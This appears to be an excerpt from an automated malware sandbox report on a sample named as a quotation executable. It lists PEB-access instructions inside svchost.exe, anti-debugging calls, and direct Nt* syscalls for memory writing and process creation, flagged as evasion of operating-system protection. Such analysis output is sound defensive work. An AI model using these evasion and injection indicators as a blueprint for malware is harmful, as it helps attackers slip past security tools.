Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840B10 mov eax, dword ptr fs:[00000030h]	3_2_03840B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840B10 mov eax, dword ptr fs:[00000030h]	3_2_03840B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840B10 mov eax, dword ptr fs:[00000030h]	3_2_03840B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385EB1C mov eax, dword ptr fs:[00000030h]	3_2_0385EB1C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382CB1E mov eax, dword ptr fs:[00000030h]	3_2_0382CB1E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386CB20 mov eax, dword ptr fs:[00000030h]	3_2_0386CB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BCB20 mov eax, dword ptr fs:[00000030h]	3_2_038BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BCB20 mov eax, dword ptr fs:[00000030h]	3_2_038BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BCB20 mov eax, dword ptr fs:[00000030h]	3_2_038BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383AB70 mov eax, dword ptr fs:[00000030h]	3_2_0383AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383AB70 mov eax, dword ptr fs:[00000030h]	3_2_0383AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383AB70 mov eax, dword ptr fs:[00000030h]	3_2_0383AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383AB70 mov eax, dword ptr fs:[00000030h]	3_2_0383AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383AB70 mov eax, dword ptr fs:[00000030h]	3_2_0383AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383AB70 mov eax, dword ptr fs:[00000030h]	3_2_0383AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836B70 mov eax, dword ptr fs:[00000030h]	3_2_03836B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836B70 mov eax, dword ptr fs:[00000030h]	3_2_03836B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836B70 mov eax, dword ptr fs:[00000030h]	3_2_03836B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904B67 mov eax, dword ptr fs:[00000030h]	3_2_03904B67
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E6B77 mov eax, dword ptr fs:[00000030h]	3_2_038E6B77
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03864B79 mov eax, dword ptr fs:[00000030h]	3_2_03864B79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E6A80 mov eax, dword ptr fs:[00000030h]	3_2_038E6A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840ACE mov eax, dword ptr fs:[00000030h]	3_2_03840ACE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840ACE mov eax, dword ptr fs:[00000030h]	3_2_03840ACE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D4AC2 mov eax, dword ptr fs:[00000030h]	3_2_038D4AC2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D0AE0 mov eax, dword ptr fs:[00000030h]	3_2_038D0AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D2AE0 mov eax, dword ptr fs:[00000030h]	3_2_038D2AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D2AE0 mov eax, dword ptr fs:[00000030h]	3_2_038D2AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03850AEB mov eax, dword ptr fs:[00000030h]	3_2_03850AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03850AEB mov eax, dword ptr fs:[00000030h]	3_2_03850AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03850AEB mov eax, dword ptr fs:[00000030h]	3_2_03850AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03830AED mov eax, dword ptr fs:[00000030h]	3_2_03830AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03830AED mov eax, dword ptr fs:[00000030h]	3_2_03830AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03830AED mov eax, dword ptr fs:[00000030h]	3_2_03830AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0AFF mov eax, dword ptr fs:[00000030h]	3_2_038B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0AFF mov eax, dword ptr fs:[00000030h]	3_2_038B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0AFF mov eax, dword ptr fs:[00000030h]	3_2_038B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03904AE8 mov eax, dword ptr fs:[00000030h]	3_2_03904AE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386AA0E mov eax, dword ptr fs:[00000030h]	3_2_0386AA0E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386AA0E mov eax, dword ptr fs:[00000030h]	3_2_0386AA0E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385EA40 mov eax, dword ptr fs:[00000030h]	3_2_0385EA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385EA40 mov eax, dword ptr fs:[00000030h]	3_2_0385EA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038CAA40 mov eax, dword ptr fs:[00000030h]	3_2_038CAA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038CAA40 mov eax, dword ptr fs:[00000030h]	3_2_038CAA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B4A57 mov eax, dword ptr fs:[00000030h]	3_2_038B4A57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B4A57 mov eax, dword ptr fs:[00000030h]	3_2_038B4A57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C98F mov eax, dword ptr fs:[00000030h]	3_2_0386C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C98F mov eax, dword ptr fs:[00000030h]	3_2_0386C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C98F mov eax, dword ptr fs:[00000030h]	3_2_0386C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D0980 mov eax, dword ptr fs:[00000030h]	3_2_038D0980
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D0980 mov eax, dword ptr fs:[00000030h]	3_2_038D0980
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0 mov eax, dword ptr fs:[00000030h]	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B89A0 mov eax, dword ptr fs:[00000030h]	3_2_038B89A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038689B0 mov edx, dword ptr fs:[00000030h]	3_2_038689B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C69B0 mov eax, dword ptr fs:[00000030h]	3_2_038C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C69B0 mov eax, dword ptr fs:[00000030h]	3_2_038C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C69B0 mov ecx, dword ptr fs:[00000030h]	3_2_038C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038389C0 mov eax, dword ptr fs:[00000030h]	3_2_038389C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038389C0 mov eax, dword ptr fs:[00000030h]	3_2_038389C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_039029CF mov eax, dword ptr fs:[00000030h]	3_2_039029CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_039029CF mov eax, dword ptr fs:[00000030h]	3_2_039029CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038309F0 mov eax, dword ptr fs:[00000030h]	3_2_038309F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038649F0 mov eax, dword ptr fs:[00000030h]	3_2_038649F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038649F0 mov eax, dword ptr fs:[00000030h]	3_2_038649F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03886912 mov eax, dword ptr fs:[00000030h]	3_2_03886912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03862919 mov eax, dword ptr fs:[00000030h]	3_2_03862919
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03862919 mov eax, dword ptr fs:[00000030h]	3_2_03862919
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F892E mov eax, dword ptr fs:[00000030h]	3_2_038F892E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F892E mov eax, dword ptr fs:[00000030h]	3_2_038F892E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AC920 mov ecx, dword ptr fs:[00000030h]	3_2_038AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AC920 mov eax, dword ptr fs:[00000030h]	3_2_038AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AC920 mov eax, dword ptr fs:[00000030h]	3_2_038AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AC920 mov eax, dword ptr fs:[00000030h]	3_2_038AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0388693A mov eax, dword ptr fs:[00000030h]	3_2_0388693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0388693A mov eax, dword ptr fs:[00000030h]	3_2_0388693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0388693A mov eax, dword ptr fs:[00000030h]	3_2_0388693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0390492D mov eax, dword ptr fs:[00000030h]	3_2_0390492D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C944 mov eax, dword ptr fs:[00000030h]	3_2_0386C944
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385E94E mov eax, dword ptr fs:[00000030h]	3_2_0385E94E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03854955 mov eax, dword ptr fs:[00000030h]	3_2_03854955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03854955 mov eax, dword ptr fs:[00000030h]	3_2_03854955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C958 mov eax, dword ptr fs:[00000030h]	3_2_0386C958
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384096B mov eax, dword ptr fs:[00000030h]	3_2_0384096B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384096B mov eax, dword ptr fs:[00000030h]	3_2_0384096B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836970 mov eax, dword ptr fs:[00000030h]	3_2_03836970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836970 mov eax, dword ptr fs:[00000030h]	3_2_03836970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836970 mov eax, dword ptr fs:[00000030h]	3_2_03836970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836970 mov eax, dword ptr fs:[00000030h]	3_2_03836970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836970 mov eax, dword ptr fs:[00000030h]	3_2_03836970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836970 mov eax, dword ptr fs:[00000030h]	3_2_03836970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03836970 mov eax, dword ptr fs:[00000030h]	3_2_03836970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B488F mov eax, dword ptr fs:[00000030h]	3_2_038B488F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03856882 mov eax, dword ptr fs:[00000030h]	3_2_03856882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03856882 mov eax, dword ptr fs:[00000030h]	3_2_03856882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03856882 mov eax, dword ptr fs:[00000030h]	3_2_03856882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0387088E mov eax, dword ptr fs:[00000030h]	3_2_0387088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0387088E mov edx, dword ptr fs:[00000030h]	3_2_0387088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0387088E mov eax, dword ptr fs:[00000030h]	3_2_0387088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E8890 mov eax, dword ptr fs:[00000030h]	3_2_038E8890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E8890 mov eax, dword ptr fs:[00000030h]	3_2_038E8890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0 mov eax, dword ptr fs:[00000030h]	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038288C8 mov eax, dword ptr fs:[00000030h]	3_2_038288C8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038288C8 mov eax, dword ptr fs:[00000030h]	3_2_038288C8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038308CD mov eax, dword ptr fs:[00000030h]	3_2_038308CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038308CD mov eax, dword ptr fs:[00000030h]	3_2_038308CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A8F0 mov eax, dword ptr fs:[00000030h]	3_2_0383A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A8F0 mov eax, dword ptr fs:[00000030h]	3_2_0383A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A8F0 mov eax, dword ptr fs:[00000030h]	3_2_0383A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A8F0 mov eax, dword ptr fs:[00000030h]	3_2_0383A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A8F0 mov eax, dword ptr fs:[00000030h]	3_2_0383A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A8F0 mov eax, dword ptr fs:[00000030h]	3_2_0383A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038648F0 mov eax, dword ptr fs:[00000030h]	3_2_038648F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C88FB mov eax, dword ptr fs:[00000030h]	3_2_038C88FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C819 mov eax, dword ptr fs:[00000030h]	3_2_0386C819
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386C819 mov eax, dword ptr fs:[00000030h]	3_2_0386C819
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835 mov eax, dword ptr fs:[00000030h]	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BC870 mov eax, dword ptr fs:[00000030h]	3_2_038BC870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B8F8B mov eax, dword ptr fs:[00000030h]	3_2_038B8F8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B8F8B mov eax, dword ptr fs:[00000030h]	3_2_038B8F8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B8F8B mov eax, dword ptr fs:[00000030h]	3_2_038B8F8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov ecx, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840F90 mov eax, dword ptr fs:[00000030h]	3_2_03840F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03834FB6 mov eax, dword ptr fs:[00000030h]	3_2_03834FB6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385CFB0 mov eax, dword ptr fs:[00000030h]	3_2_0385CFB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385CFB0 mov eax, dword ptr fs:[00000030h]	3_2_0385CFB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03868FBC mov eax, dword ptr fs:[00000030h]	3_2_03868FBC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038EEFD3 mov eax, dword ptr fs:[00000030h]	3_2_038EEFD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DAFD0 mov eax, dword ptr fs:[00000030h]	3_2_038DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DAFD0 mov eax, dword ptr fs:[00000030h]	3_2_038DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DAFD0 mov eax, dword ptr fs:[00000030h]	3_2_038DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DAFD0 mov eax, dword ptr fs:[00000030h]	3_2_038DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03846FE0 mov eax, dword ptr fs:[00000030h]	3_2_03846FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03846FE0 mov ecx, dword ptr fs:[00000030h]	3_2_03846FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03846FE0 mov ecx, dword ptr fs:[00000030h]	3_2_03846FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03846FE0 mov eax, dword ptr fs:[00000030h]	3_2_03846FE0

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_00120B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

2_2_00120B62

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000F2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_000F2622
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_000E083F
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E09D5 SetUnhandledExceptionFilter,	2_2_000E09D5
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_000E0C21

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtQueryInformationProcess: Direct from: 0x77502B46	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtResumeThread: Direct from: 0x77502EDC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtCreateUserProcess: Direct from: 0x7750363C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtProtectVirtualMemory: Direct from: 0x77502EBC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtDelayExecution: Direct from: 0x77502CFC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtOpenKeyEx: Direct from: 0x77502ABC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtSetInformationThread: Direct from: 0x774F6319	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtClose: Direct from: 0x77502A8C
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtCreateKey: Direct from: 0x77502B8C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtSetInformationThread: Direct from: 0x77502A6C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtWriteVirtualMemory: Direct from: 0x7750482C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtAllocateVirtualMemory: Direct from: 0x7750480C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtQueryVolumeInformationFile: Direct from: 0x77502E4C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtDeviceIoControlFile: Direct from: 0x77502A0C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtQuerySystemInformation: Direct from: 0x775047EC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtAllocateVirtualMemory: Direct from: 0x77502B0C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtOpenSection: Direct from: 0x77502D2C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtQueryAttributesFile: Direct from: 0x77502D8C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtCreateFile: Direct from: 0x77502F0C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtProtectVirtualMemory: Direct from: 0x774F7A4E	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtReadVirtualMemory: Direct from: 0x77502DAC	Jump to behavior
